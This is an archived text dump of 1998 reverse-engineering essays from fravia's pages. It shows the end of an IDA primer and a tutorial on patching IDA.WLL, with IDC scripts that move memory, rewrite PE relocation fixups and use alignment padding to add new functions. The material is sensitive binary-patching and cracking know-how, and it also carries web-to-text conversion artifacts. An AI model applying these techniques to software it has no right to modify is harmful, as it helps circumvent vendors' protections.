Message("\n*** Code References from " + GetFunctionName(ea) + " : " + atoa(ea) + "\n");
for ( ea ; ea <= f_end; ea = NextAddr(ea) ) {
x = Rfirst0(ea);
if ( x != BADADDR) {
Message(atoa(ea) + " refers to " + Name(x) + " : " + atoa(x) + "\n");
x = Rnext0(ea,x);
}
while ( x != BADADDR) {
Message(atoa(ea) + " refers to " + Name(x) + " : " + atoa(x) + "\n");
x = Rnext0(ea,x);
}
}
Message("End of output. \n");
}
===================================================================
And, finally, I have referred to a reslib.idc file throughout this work. It can be found at
http://www.eccentrica.org/Mammon/Reslib.idc
with it's "caller file" at
http://www.eccentrica.org/Mammon/Res.idc

3.Map files
Map files may be generated by IDA using the File->Produce Output File->Produce Map File
menu item. All of the user-created and auto-generated names (if selected) will be included
as symbols in the .MAP files, which then can be converted into Soft-Ice symbol files using
NMSYM.EXE.

Note that there are a few tricks to this, I recommend using Gij's MaptoMap utility for the conversion.

4.ASM files
The ASM files may be used to produce compilable source code. This is not, strictly speaking, the
province of the cracker, but a bit of good practice can be found by taking various small .COM files
http://www.instinct.org/fravia/mamm_gip.htm (35 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
(such as debug, edit, or the various Crack-me's) and re-compiling them.

You should be able to get a working copy of this essay at Mammon's site.

You are deep inside fravia's pages of reverse engineering, choose your way out:

How to use our tools Our tools

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

(c) +Mammon_ [mammon_(at)hotmail(dot)com] 1998. All rights reserved

http://www.instinct.org/fravia/mamm_gip.htm (36 of 36) [2/7/2001 3:09:01 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer

IDA ENHANCER

How to use our tools


(courtesy of fravia's pages of reverse engineering)

An IDA enhancer (patching the IDA.WLL)


by Jean-Marc
12 November 1998
Definitely NOT for beginners. Read, understand, use, enjoy!

At this time, I plan to (as Quine) patch the IDA.WLL in order to add some new
functions on IDC laguage. Nothing new you think, Quine just do it before!

Yeah, I got a new IDA 3.75 version, which include the Exec command... And because
you know Ilfak is not a lazy guy, he could have take benefits on such enhancement to
change protection scheme.

================ BEGINNER SECTION ==========================

To ensure the feasibility of that (Everything is possible, but I'm too lazy to plan
to crack such a protection before patching the prog which is a job (not
hard but long) enough.

First find this array with those 3 pointers:


ptr[0] -> string of the IDC command
ptr[1] -> pointer to the IDC function it-self
ptr[2] -> pointer to the argument description array.

Create an IDA structure in order to hold array element (I can't imagine doing this
without the help of this amazing IDA )
IDCtoken struc
ptr[3] dd 3 dup(?) <- Apply offset attribute on this
IDCtoken ends

Take the first element of the array


Name it something usefull e.g.: arrIDCtokens
Apply the structure, now make as array of. !STOP!
QUESTION: How long is this array?
Page down many times....
Find something different ... a dword dd 134h, plus an offset to
arrIDCtokens
Name this offset again: lp_arrIDCtokens
Read the address
Jump to address -> arrIDCtokens
Calculator (IDA one) Enter: (0xBBB0 - 0xAD40) / 12
^- sizeof(void far *) * 3
ANSWER: 308

Have you payed any attention now? If yes you have certainly denote that 134h is

http://www.instinct.org/fravia/enh_ida.htm (1 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer

absolutly
equal to decimal value 308. IDA as just tell you few seconds ago. IDA is clever, IDA
knows
what you want, even before you know you want something.... :-))

Name this dword ... let's try @arraysize$q12arrIDCtokens, and activate demangling on
name.

At this time jump to all of those XRefs that refer to either the dword and the
offset, and
rename them something like deal_with_IDCtokens_####. (Could help subsequent reading)

If you're stuck with message like .ERROR 'too many lines (more than 500)', just try
to change margin to 120 on text representation.

OK, now we got the array, a dword that we suppose (it is) represent the number of
element into
this array. So, it's time to quit IDA, and take your preferred HexEditor, refind this
0134h
(this is reverse engeenering pages, not hexedito for dummies) patch it with some
value...
Patch with 0133h is a good idea...

Start IDA with the IDA.WLL patched. Load some database.


I works... (what a great crack you have done) ... which mean that Ilfak have not
implement such CRC check or any other new protection on IDA.WLL

Now open IDC command popup, and try


OpHigh(1,1,1);
IDA complain 'Attempt to call undefined function ...'
The patch works 1 function is missing now.

Recover now the genuine IDA.WLL, and start the next more interresting part.

========================== NOVICE SECTION ======================================

First problem to solve now, is to make grow the array. I don't plan to use such trick
that Quine as (well) describe. The idea, is to optimize some code, in order to got
some extra byte free to implement some extra token. Each token (as previously view )
as 12 bytes long ... Just following the array, we got the long that represent the
size in
number of element of this array, then the offset (pointer) to the array itself, then
2 pointer on 2 functions, then start the data of the argument array (please refer
to Quine essay II for explaination of values ).

For those beginners that haven't stop reading, you must make an enum to map thoses
values
as something readable...

enum VTYPE
VT_VOID = 0
VT_STR = 1
VT_LONG = 2
VT_FLOAT = 3
VT_WILD = 4

http://www.instinct.org/fravia/enh_ida.htm (2 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
At this time, if you pay attention, you will see that some offset for IDC token names
jump in a middle of some string already used for another tokens e.g. Dword &
MakeDword
The arg list array got same optimisation ( Ilfak or compiler ? If the M$ compiler was
used,
I would answer Ilfak, but I don't know enought Borland to answer that (interesting?)
question...)
Anyway I have made a list (handwrited) with the full serie of sslll0 (s for VT_STR,
l for VT_LONG,... and so on) needed to fill all of thoses args array, and make some
optimisation... (if I can do it, that certainly mean that initial optimisation have
been made by such a compiler).

The initial list use space from BBC0 to BC15 which represent 54h, subtract 7 because
of
mixed string in this area equal 4Ch (76 bytes).
Now my new table is:
lls0 5
llllll0 7
lsw0 4
llsl0 5
llllls0 7
sll0 4
lsllll0 7
=== 39 bytes (nice slim fat isn't it?)

Make the first part of the patch mean save bytes by just optimizing the array of
args,
move the length Dword ( arraysize(arrIDCtokens) ) forward
of ...?!?... 36 bytes (I guess we must respect the alignment), and adjust all the
offset
that refer to this pointer, plus adjust all the offset that refer to array of
args into arrIDCtokens.

************************************************
During this analysis, take a look on thoses
names...: _lpoke, _poke, _peek, _time, _call,
____, GetVxdFuncName, AssignKey.
_call is really amazing (look on the code)
************************************************

************************************************
If you just want to implement 1 function,
spend some time to re-read the array....
Have you seen that MakeStruct is referenced
twice ?
************************************************

At this time, we don't manipulate those 3 offset (pointer) which are lp_arrIDCtokens,
plus
those 2 following pointer to function, because it involve manipulating fixup (aka
reloc).

If you have follow my structure definition, you can use the following IDC function
to manipulate the offset.

static PatchXref()

http://www.instinct.org/fravia/enh_ida.htm (3 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
{
auto nea, ea, xref, i, len, yn,w;

ea = ScreenEA();
nea = ea;
nea = AskAddr(ea,"New Xref point to...");
nea = nea & 0x0FFFF;

for(xref = DfirstB(ea); xref != BADADDR; xref = DnextB(ea,xref))


{
Message("Patching at 0x%08x...",xref);
w = Word( xref+8 );
if (w == (ea & 0x0FFFF))
{
Message("done\n");
PatchWord(xref+8,nea);
}
else
{
Message("refused.(0x%04x)\n",w);
}
}
}

Then assign a hotkey on such function...

As soon as you have finished this patching operations, under IDA, produce a DIF with
again IDA...and leave (we will come back soon :-)
Use now tools like patch engine to apply thoses changes to IDA.WLL (personaly I use
IDA
it self, ... :))
Restart IDA now, you normally have no problem with any IDC function. Every of them
works fine as if we haven't change anything.

We have exactly change nothing into the program at this time, but we have now some
space
to play with... Now to do something more interresting, start the next section...

========================== INTERMEDIATE SECTION


======================================

We now want to move thoses 3 pointer ( lp_arrIDCtokens, and 2 following function


pointer),
in order to move and change the arraysize(arrIDCtokens) long value, and then add our
own IDC function.

First thing to do is of course to move data them-selves, then adjust offset on thoses
values, then ... adjust fixup of those 3 pointer. You can of course do that manually,
with all the risks of mistakes. But the question is can we do that IDA controlled.
We known that IDA keep track of thoses fixup info, the question is did it produce
diff
if we change Fixup infos thru SetFixup/DelFixup function ?
The answer seems to be no. Did IDA produce fixup informations when it produce the
EXE?
Unfortunatly I was not able to use such function (I wonder why).
So...

http://www.instinct.org/fravia/enh_ida.htm (4 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
Let first move memory information... with such IDC script:
static MoveMem()
{
auto begin, end, sense, srcEA, tgtEA;
auto i, value, fillup, lim;
auto fxtyp, fxsel, fxoff, fxdispl;

begin = SelStart();
end = SelEnd() - 1;
if (begin == BADADDR)
{
Warning("No memory range selected!\nAction aborted.");
return 0;
}

sense = 1;
srcEA = begin;
if (ScreenEA() == begin)
{
sense = -1;
srcEA = end;
}

tgtEA = AskAddr(srcEA,form("Enter new block address for %08Xh


(%s)",sense==1?"normal":"REVERSE"));

if ((tgtEA > begin) && (tgtEA <= end))


{
Warning("Memory block overlap...\nTry use %s
mode.",sense==1?"reverse":"forward");
return 0;
}

if (AskYN(0,form(form("%s\n%s\n%s\n \nSure you want to proceed?",


"You are about to move memory block:",
" from: %08Xh - %08Xh",
" to: %08Xh - %08Xh (data will be lost)"),
srcEA, srcEA + ((end - begin)*sense),
tgtEA, tgtEA + ((end - begin)*sense))) != 1) return 0;

fillup = 0;
fillup = AskAddr(fillup,"Enter pattern for quitting region...");
fillup = fillup & 0x0FF;

lim = (end - begin) + 1;


for(i=0; i < lim; i++)
{
value = Byte(srcEA + (i*sense));
fxtyp = GetFixupTgtType(srcEA + (i*sense));
fxsel = GetFixupTgtSel(srcEA + (i*sense));
fxoff = GetFixupTgtOff(srcEA + (i*sense));
fxdispl = GetFixupTgtDispl(srcEA + (i*sense));
if (fxsel != BADADDR) DelFixup(srcEA + (i*sense));
PatchByte(srcEA + (i*sense), fillup);
PatchByte(tgtEA + (i*sense),value);
if (fxsel != BADADDR) SetFixup(tgtEA + (i*sense),fxtyp,

http://www.instinct.org/fravia/enh_ida.htm (5 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
fxsel,fxoff,fxdispl);
}

Now adjust any offset to refer to that area (long job!). We got a problem now if we
want
to create an IDC script. This is because IDA give us the begin address which refer to
a particular address, so it seems hard to automate offset adjustment.

In fact if we are on address Z refered by addresses A,B,C, somewhere in the area of


each
of thoses addresses (A,B,C) it exists a fixup that refer to Z...
So, let's change this PatchXref function that we have previously defined...

static PatchXref()
{
auto nea, ea, xref, i, len, yn, fxoff;

ea = ScreenEA();
nea = ea;
nea = AskAddr(nea,"New Xref point to...");

for(xref = RfirstB(ea); xref != BADADDR; xref = RnextB(ea,xref))


{
Message("Patching xref code "offset.class"
tppabs="http://fravia.org/offset.class" at 0x%08x...",xref);
len = ItemSize(xref);
yn = 0;
for(i = 0; i < len; i++)
{
fxoff = GetFixupTgtOff(xref+i);
if (fxoff != ea) continue;
PatchWord(xref+i,nea & 0x0FFFF);
SetFixup(xref+i,GetFixupTgtType(xref+i),
GetFixupTgtSel(xref+i),fxoff,GetFixupTgtDispl(xref+i));
Message("+");
i = i+1;
yn = 1;
}
if (yn)
{
Message("done.\n");
continue;
}
Message("fail due to offset not found!\n");
}

for(xref = DfirstB(ea); xref != BADADDR; xref = DnextB(ea,xref))


{
Message("Patching xref data offset at 0x%08x...",xref);
len = ItemSize(xref);
yn = 0;
for(i = 0; i < len; i++)
{
fxoff = GetFixupTgtOff(xref+i);

http://www.instinct.org/fravia/enh_ida.htm (6 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
if (fxoff != ea) continue;
PatchWord(xref+i,nea & 0x0FFFF);
SetFixup(xref+i,GetFixupTgtType(xref+i),
GetFixupTgtSel(xref+i),fxoff,GetFixupTgtDispl(xref+i));
Message("+");
i = i+1;
yn = 1;
}
if (yn)
{
Message("done.\n");
continue;
}
Message("fail due to offset not found!\n");
}
}

According to those nice patch we have applyed, we normaly got something just like
the extraction from IDA dead-listing (LST file):
.
.
.
DATA:0048BB8C dd offset aExec, offset idc_Exec,
offset vtyp_s ; lp[3]
DATA:0048BB98 dd offset aGetidadirector, offset
idc_GetIdaDirectory, offset vtyp_0 ; lp[3]
DATA:0048BBA4 dd offset aOphigh, offset
idc_OpHigh, offset vtyp_lll ; lp[3]
DATA:0048BBB0 HCU_space db 28h dup(0) ; <== The job we have just
done... :-)
DATA:0048BBD8 _Funcs dd 134h ; wQty
; DATA XREF: deal_with_IDCtokens_4476D4+2E.r
DATA:0048BBD8
; deal_with_IDCtokens_460464+5.r ...
DATA:0048BBD8 dd offset arrIDCtokens.lp[3] ;
lp_functArr
DATA:0048BBD8 dd offset startup_409664(void) ;
lpfnStartup
DATA:0048BBD8 dd offset shutdown_409678(void) ;
lpfnShutdown
DATA:0048BBE8 aLi db '%li',0
; DATA XREF: idc_MakeLocal+37.o
DATA:0048BBEC aS_14 db '%s',0
; DATA XREF: idc_Warning+E.o idc_Fatal+E.o
DATA:0048BBEF vtyp_llss db VT_LONG
; DATA XREF: DATA:0048B5BC.o
DATA:0048BBF0 vtyp_lss db VT_LONG ; DATA XREF:
DATA:0048B970.o
DATA:0048BBF1 vtyp_ss db VT_STR ; DATA XREF:
DATA:0048AFEC.o DATA:0048AFF8.o ...
DATA:0048BBF2 vtyp_s db VT_STR ; DATA XREF:
DATA:0048AD40.o DATA:0048AF20.o ...
DATA:0048BBF3 vtyp_0 db VT_VOID ; DATA XREF:
DATA:0048B058.o DATA:0048B10C.o ...
DATA:0048BBF4 vtyp_llllll db VT_LONG ; DATA XREF:
DATA:0048B064.o

http://www.instinct.org/fravia/enh_ida.htm (7 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
DATA:0048BBF5 vtyp_lllll db VT_LONG ; DATA XREF:
DATA:0048B6C4.o DATA:0048B868.o
DATA:0048BBF6 vtyp_llll db VT_LONG ; DATA XREF:
DATA:0048AF14.o DATA:0048B07C.o ...
DATA:0048BBF7 vtyp_lll db VT_LONG ; DATA XREF:
DATA:0048ADD0.o DATA:0048AE3C.o ...
DATA:0048BBF8 vtyp_ll db VT_LONG ; DATA XREF:
DATA:0048AD4C.o DATA:0048AD7C.o ...
DATA:0048BBF9 vtyp_l db VT_LONG, VT_VOID ; DATA XREF:
DATA:0048AD58.o DATA:0048AD94.o ...
DATA:0048BBFB vtyp_lsw db VT_LONG ; DATA XREF:
DATA:0048B37C.o
DATA:0048BBFC vtyp_sw db VT_STR, VT_WILD, VT_VOID ; DATA XREF:
DATA:0048B034.o DATA:0048B040.o ...
DATA:0048BBFF vtyp_llsl db VT_LONG ; DATA XREF:
DATA:0048B64C.o DATA:0048B874.o
DATA:0048BC00 vtyp_lsl db VT_LONG ; DATA XREF:
DATA:0048AFC8.o DATA:0048AFE0.o ...
DATA:0048BC01 vtyp_sl db VT_STR, VT_LONG, VT_VOID ; DATA XREF:
DATA:0048AEFC.o
DATA:0048BC04 vtyp_llllls db VT_LONG ; DATA XREF:
DATA:0048B6DC.o
DATA:0048BC05 vtyp_lllls db VT_LONG ; DATA XREF:
DATA:0048B418.o
DATA:0048BC06 vtyp_llls db VT_LONG
DATA:0048BC07 vtyp_lls db VT_LONG ; DATA XREF:
DATA:0048AE24.o DATA:0048AECC.o ...
DATA:0048BC08 vtyp_ls db VT_LONG, VT_STR, VT_VOID ; DATA XREF:
DATA:0048AD64.o DATA:0048AD70.o ...
DATA:0048BC0B vtyp_sll db VT_STR, VT_LONG, VT_LONG, VT_VOID ; DATA XREF:
DATA:0048AF2C.o DATA:0048B124.o
DATA:0048BC0F vtyp_lsllll db VT_LONG, VT_STR, VT_LONG, VT_LONG, VT_LONG,
VT_LONG, VT_VOID ; DATA XREF: DATA:0048B844.o
DATA:0048BC16 aIdc_arrayS db '$ idc_array %s',0 ; DATA XREF: sub_7194+D.o
DATA:0048BC25 aSegbyname db 'SegBy' ; DATA XREF:
DATA:0048AD40.o
.
.
.

Now still the problem of thoses fixups... How to patch the EXE according thoses
modifications?
We known of course the theory about relocation tables on PE image file, but we need
now to make the step forward in order to fully adapt this table to our needs.

In order to get a view of this relocation table (aka fixup), we need a powerfull
tool.
What's about IDA (again?). Start a new IDA (new work directory), and take IDA.WLL as
file to
disassemble, then choose manual loading for segment on the first screen.
Answer yes to all the questions. Now stop auto-analisys (Alt-o, O, A) when IDA start
thinking!
Jump to segment '.reloc'. Now with our knowledge on PE file structure, we known that
we find
on that segment list of fixup table organized as follow (for 32bit image file):
a DWORD that represent the preferred base address

http://www.instinct.org/fravia/enh_ida.htm (8 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
a DWORD that represent the size of the table
a list of WORD organized as follow:
F E D C B A 9 8 7 6 5 4 3 2 1 0
| flag | offset |
the flag can take value from 1 to 5 (actually 3)
the offset is the offset in the current 4K page

************************************************
More informations on PE file structure at
http://www.wotsit.org
************************************************

Just use our knowledge to organise data representation:


.
.
.
004AC000 ; Segment type: Pure data
004AC000 _reloc segment para public 'DATA' use32
004AC000 assume cs:_reloc
004AC000 ;org 4AC000h
004AC000 org_01000 dd 1000h
004AC004 dd 1A0h
004AC008 dw 3001h, 3009h, 301Ah, 3027h, 3033h, 3047h, 3057h, 305Ch,
3073h
004AC008 dw 307Bh, 3083h, 308Ch, 3099h, 30C2h, 30D2h, 30DAh, 30E3h,
30F0h
004AC008 dw 30F9h, 310Dh, 3135h, 313Eh, 3167h, 317Eh, 318Dh, 3192h,
31A7h
.
.
.
You can easily make an IDC script that do the job for you (number of element into
the array is size of the section / 2 minus 4.

Now jump into the page org_8B000. Remember the first page refer to offset on first
page
of the first segment (.text) and IDA have implement this segment at 00401000h in it's
own address space. On each offset we have the flag positioned to 3 specifying that
this is a HILOW 32bits offset. Reloc data in page org_8B000 represent fixup in the
range 0048B000h - 0048BFFFh in IDA address space. In order to got better
representation
just request IDA to present those WORD data as user defined offset...
Press Ctrl-R, then enter the beginning IDA page address minus 3000h (because of the
flag).
Now if you apply name and structure definition into the area as we have applyed the
previous patch, you will certainly got something like this:
.
.
.
0048AD40 dd offset aGetidadirector, offset sub_409C64, offset
vtypArgTable+1 ; lp[3]
0048BBA4 dd offset aOphigh, offset loc_409AF8, offset
vtypArgTable+0Ch ; lp[3] ; DATA XREF: .reloc:004B25E0.o
0048BBA4
; .reloc:004B25E0.o ...
0048BBB0 arraysize(arr) dd 308 ; DATA XREF:

http://www.instinct.org/fravia/enh_ida.htm (9 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
CODE:00447704o CODE:0046046B.o ...
0048BBB4 lp_arrIDCtokens dd offset arrIDCtokens.lp[3] ; DATA XREF: CODE:004476D8o
CODE:00460474.o ...
0048BBB8 lpfn_sub_409664 dd offset sub_409664 ; DATA XREF:
CODE:00463025r CODE:0046302E.r ...
0048BBBC lpfn_sub_409678 dd offset sub_409678 ; DATA XREF:
CODE:004649E1r CODE:004649EA.r ...
0048BBC0 vtypArgTable db VT_STR, VT_VOID, 2 dup(VT_LONG), VT_VOID, VT_LONG,
VT_STR, VT_VOID ; DATA XREF: DATA:arrIDCtokens.o
0048BBC0 db 2 dup(VT_LONG), VT_STR, VT_VOID, 3 dup(VT_LONG), VT_VOID,
VT_STR ; DATA:arrIDCtokens.o ...
0048BBC0 db VT_LONG, VT_VOID, 4 dup(VT_LONG), VT_VOID, VT_STR,
2 dup(VT_LONG)
0048BBC0 db VT_VOID, VT_LONG, VT_STR, VT_LONG, VT_VOID, 2
dup(VT_STR), VT_VOID
.
.
.
004B25D8 org_8B000 dd 8B000h
004B25DC dd 5E8h
004B25E0 dw (offset arrIDCtokens+2C0h - offset loc_488000),
(offset arrIDCtokens+2C4h - offset loc_488000)
004B25E0 dw (offset arrIDCtokens+2C8h - offset loc_488000),
(offset arrIDCtokens+2CCh - offset loc_488000)
004B25E0 dw (offset arrIDCtokens+2D0h - offset loc_488000),
(offset arrIDCtokens+2D4h - offset loc_488000)
.
.
.
004B448C org_99000 dd 99000h ; file offset 0A2E8Ch (delta 00411600h )
?? 10600h ??
004B4490 dd 90h
004B4494 dw (offset off_499004 - (offset aVDM+0Bh)), (offset
off_49900A - (offset aVDM+0Bh))
.
.
.
004B4494 dw (offset off_499190 - (offset aVDM+0Bh)), (offset aVDM+0Bh
- (offset aVDM+0Bh))
004B451C db 0E4h dup(0) ; => 6Eh fixup free in 1 page
004B4600 algn_4B4600:
004B4600 align 1000h ; Unexplored
004B4600 _reloc ends
004B4600
004B4600
004B4600 end start

As you see, to calculate data offset into the raw file we need to do some
calculations... Why?
Let's figure out how image file is organized on disk:

+-------------------+
| MS-DOS | <--^
| MZ Header | |
+-------------------+ |
| MS-DOS Real mode | |

http://www.instinct.org/fravia/enh_ida.htm (10 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
| Stub program | |
+-------------------+ |
| PE File Signature | |
+-------------------+ |
| PE File Header | |
+-------------------+ |
| PE File | |
| Optional Header | 600h
+-------------------+ |
| .text Section hdr | |
+-------------------+ |
| .bss Section hdr | |
+-------------------+ |
| .rdata Section hdr| |
+-------------------+ |
| .edata Section hdr| |
+-------------------+ |
| .idata Section hdr| |
+-------------------+ |
| .reloc Section hdr| <--v
+===================+
| .text Section | ------> moved at loader CODE selected base address
+-------------------+
| .bss Section | ------> moved at loader DATA selected base address
+-------------------+
| .rdata Section |
+-------------------+
| .edata Section |
+-------------------+
| .idata Section |
+-------------------+
| .reloc Section |
+-------------------+

Ok ok, for guys like you it's not a surprise, and then you all knew about that.
So why have we create a new database just for viewing that?

PAY ANY ATTENTION NOW:


Jump to ea 48BBB8, then request to patch word... at the popup enter 0000 ?!? (trust
me).
Request now IDA to produce a DIF file...
Open this DIF file ... What are you thinking about that?

Stop don't hurry answering previous question....

Go to your Window$ directory...


Copy file CALC.EXE to ZEN.EXE...
Start IDA and choose ZEN.EXE to disassemble...
When IDA start thinking, stop auto-analisys...
Mark current position to unknown, patch word (whatever you want..)
Back to you Window$ directory, and erase this cool ZEN.EXE
Back to the IDA, produce DIF file...

And now, what is the answer?

http://www.instinct.org/fravia/enh_ida.htm (11 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
Yeah, we (I) have just (re)discover that IDA cache the original segment data.

The question is now, can we force IDA to make the ".reloc" segment, then
path this segment on the fly when process memory move, then .... ZEN PATCH.

Let's try Load Binary File, select the same file on whatever base you want, patch,
then
request the DIF file... IDA warn about skipped data... blah blah...

As far, it don't seems feasible to make and populate a IDA segment (using IDC), in
order
that IDA will use it for binary comparaison...

BUT if we have load any segment when we have start disassemble this file, (which is
allways a good idea IMHO :), we can easilly create Zen tools, for Zen
optimisations...

*********************************************************************
I tell you that it is a good idea to load all segment, BUT for
this IDA.WLL I HAVEN'T... :-((( Why? Because it's allways the same,
Do what I say, not what I do! (No truly it was because of disk space ;).
My problem is now, a huge*huge commented database that I can't save with
such lame database dump as IDC. Oh yes I can dump, then awk this, that, ...
and then re-apply this schema to my database..., but if, you will never
see the end of this essay....
BTW I use one of the most powerfull tools for reverse-engeneering (IDA), so
I just have to start a new disassembling process, and apply by hand 2/3
names... and then apply just the change into the ".reloc" segment, then
make the DIF with the same name as previous IDA instance, and... IDA ask me
if I prefer to overwrite or append?...good boy
^----- :-))
*********************************************************************

Ok you got your file loaded with your ".reloc" segment appearing raw...
We need to be able to patch it according to the modifications applied on fixups
informations,
thru DelFixup/SetFixup.

Let's try first to put some organisation into this ".reloc" segment, using a IDC
script...
static Unknown( ea, length )
{
auto i;

for(i=0; i < length; i++)


{
MakeUnkn(ea+i,0);
}
}

static cookSegReloc()
{
auto ea, i, siz;

ea = BADADDR;
for(i = FirstSeg(); i != BADADDR; i = NextSeg(i))

http://www.instinct.org/fravia/enh_ida.htm (12 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
{
if (SegName(i) == ".reloc")
{
ea = i;
break;
}
}

for(; ea != BADADDR; )
{
Unknown(ea,4*2);
MakeDword(ea+4);
siz = Dword(ea+4);
if (siz == 0)
{
ea = BADADDR;
continue;
}
MakeDword(ea);
MakeName(ea,form("FIXUP_%08X",Dword(ea)));
Unknown(ea+8,siz-8);
MakeWord(ea+8);
MakeArray(ea+8,(siz-8)/2);
ea = ea + siz;
}
}

Which command from those 2 is the entry point?


DON'T be so lazy, read this script, and you'll known which function you need to
execute... If you don't... (remember you are reading INTERMEDIATE section!!!) =>
RTFM!

Ok now we just need to create a clever memory block mover, which is able to patch the
appropriate fixup table every time it encounter a IDA fixup.

=======================================================================================
WARNING - WARNING - WARNING - WARNING - WARNING - WARNING - WARNING - WARNING -
WARNING
=======================================================================================
In order to have to following function works, you need to take care of page boundary.
This mean that this function is NOT ABLE to fix fixup if you move from one page to
another... In that case human brain is much more clever than any programmatic
gas-factory
---------------------------------------------------------------------------------------

static MoveMemWithFixup()
{
auto begin, end, sense, srcEA, tgtEA;
auto i, value, fillup, lim;
auto fxtyp, fxsel, fxoff, fxdispl;
auto fxtable, fxwas, fxnow, j, sa, ta;

begin = SelStart();
end = SelEnd() - 1;
if (begin == BADADDR)
{

http://www.instinct.org/fravia/enh_ida.htm (13 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
Warning("No memory range selected!\nAction aborted.");
return 0;
}

sense = 1;
srcEA = begin;
if (ScreenEA() == begin)
{
sense = -1;
srcEA = end;
}

tgtEA = AskAddr(srcEA,form("Enter new block address for %08Xh


(%s)",sense==1?"normal":"REVERSE"));

if ((tgtEA > begin) && (tgtEA <= end))


{
Warning("Memory block overlap...\nTry use %s
mode.",sense==1?"reverse":"forward");
return 0;
}

if (AskYN(0,form(form("%s\n%s\n%s\n \nSure you want to proceed?",


"You are about to move memory block:",
" from: %08Xh - %08Xh",
" to: %08Xh - %08Xh (data will be lost)"),
srcEA, srcEA + ((end - begin)*sense),
tgtEA, tgtEA + ((end - begin)*sense))) != 1) return 0;

fillup = 0;
fillup = AskAddr(fillup,"Enter pattern for quitting region...");
fillup = fillup & 0x0FF;

lim = (end - begin) + 1;


for(i=0; i < lim; i++)
{
value = Byte(srcEA + (i*sense));
fxtyp = GetFixupTgtType(srcEA + (i*sense));
fxsel = GetFixupTgtSel(srcEA + (i*sense));
fxoff = GetFixupTgtOff(srcEA + (i*sense));
fxdispl = GetFixupTgtDispl(srcEA + (i*sense));
if (fxsel != BADADDR) DelFixup(srcEA + (i*sense));
PatchByte(srcEA + (i*sense), fillup);
PatchByte(tgtEA + (i*sense),value);
if (fxsel != BADADDR)
{
SetFixup(tgtEA + (i*sense),fxtyp, fxsel,fxoff,fxdispl);
sa = srcEA + (i*sense);
ta = tgtEA + (i*sense);
fxtable = LocByName(form("FIXUP_%08X",((sa & 0x00FFF000) -
0x00400000)));
fxwas = sa & 0x0FFF; fxnow = BADADDR;
for(j=fxtable+8; j < fxtable+Dword(fxtable+4); j = j+2)
{
if ( (Word(j) & 0x0FFF) == fxwas )
{

http://www.instinct.org/fravia/enh_ida.htm (14 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
fxnow = (ta & 0x0FFF) | ( Word(j) & 0x0F000 );
Message("fxtable=0x%08lXh, was:0x%04lXh,
now:%04lXh\n",fxtable,fxwas,fxnow);
PatchWord(j, fxnow );
break;
}
}
if (fxnow == BADADDR)
{
Warning("Huh! I can't find fixup information for %08lXh /
%08lXh", sa,ta);
}
}
}

Ok you now have many tools and knowledge to manipulate, crack, patch an EXE, in order
to make it works as you like... But now it's time to do the real work... Are you
ready?

============================== EXPERT SECTION


========================================
Still there?? Mean that you want to do your own IDC function? Yeah? Go...

First, which function?? For study purpose, we'll implement the _getenv function.
Second how we implement?? Jump to the beginning of this article, and start reading.
Third where to implement?? - Into magic holes... :-))
Forth and last how do we code?? - Be patient...

The magic holes:


When the programmer create his own program, he use compiler and/or assembler to
create the EXE.. The EXE as a specific file format (in our case PE) which
implement
some prerequisits. One is alignment, and some of you have already understand what
does it mean.
The most important thing to understand is that there are not one, but 2 sort of
alignment in the case of PE image. One is the alignment of the segment when this
one
is in memory, the second (more interresting) is the alignment of sections into
the
image file it-self.
To be practicle, on PE file, usualy, alignment is 4K bytes in memory (1000h) when
it
is 1K bytes in image file (400h).
Thoses 2 values are not constants, and can be changed as programmer request...
(We all of us expect that not most of them will do that otherwise, bye-bye easy
HUGE
patching... ;-? Remember, to protect your program against stupid cracker, you
must
understand how they patch your programs... Re-read the full Fravia university NOW
:)))

MESSAGE TO PROGRAMMERS
======================
IMHO a programmer is not a good one 'til he knows how such wonderfull Xnth

http://www.instinct.org/fravia/enh_ida.htm (15 of 19) [2/7/2001 3:09:10 PM]


enh_ida.htm: How to use our tools: Jean-Marc's IDA enhancer
generation
tools make an EXE... Trust me, during porting operations, I discover that some
compiler
generate wrong code "for.class" tppabs="http://fravia.org/for.class" well writed
source code... If you have sometimes to do that
kind of job, you better knows at that moment what assembly language is... And how
you would have write this by your own if you have no compiler... I don't claim
you
have to program in assembly language (except for critical purpose
(?anti-crack?)), but
if you don't know what assembly is, I bet you don't have the ability to
understand
what exactly are convention call, memory models, shared-library/DLL...

So we got 2 alignment (in fact more). What a great information! What can we do
with
that? Suppose you got an alignment of 8bytes on image file and 16bytes into
memory...
Zoom now on the hexa dump of or code section:
SOMEWHERE+3F0: 5E 5B C3 90 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ??
^ ^ ^ ^
| | | + At load time, the loader will
allocate
| | | this area into memory, but normally
| | | it didn't fill it
| | |
| | + Padding bytes to respect image section alignment
| |
| + The end of object block alignment (can be different
| than 90h. Most of the time CCh/00h on M$ compilers.
| Borland make such alignment by generating dummy
code
| such as mov ax,ax,... )
|
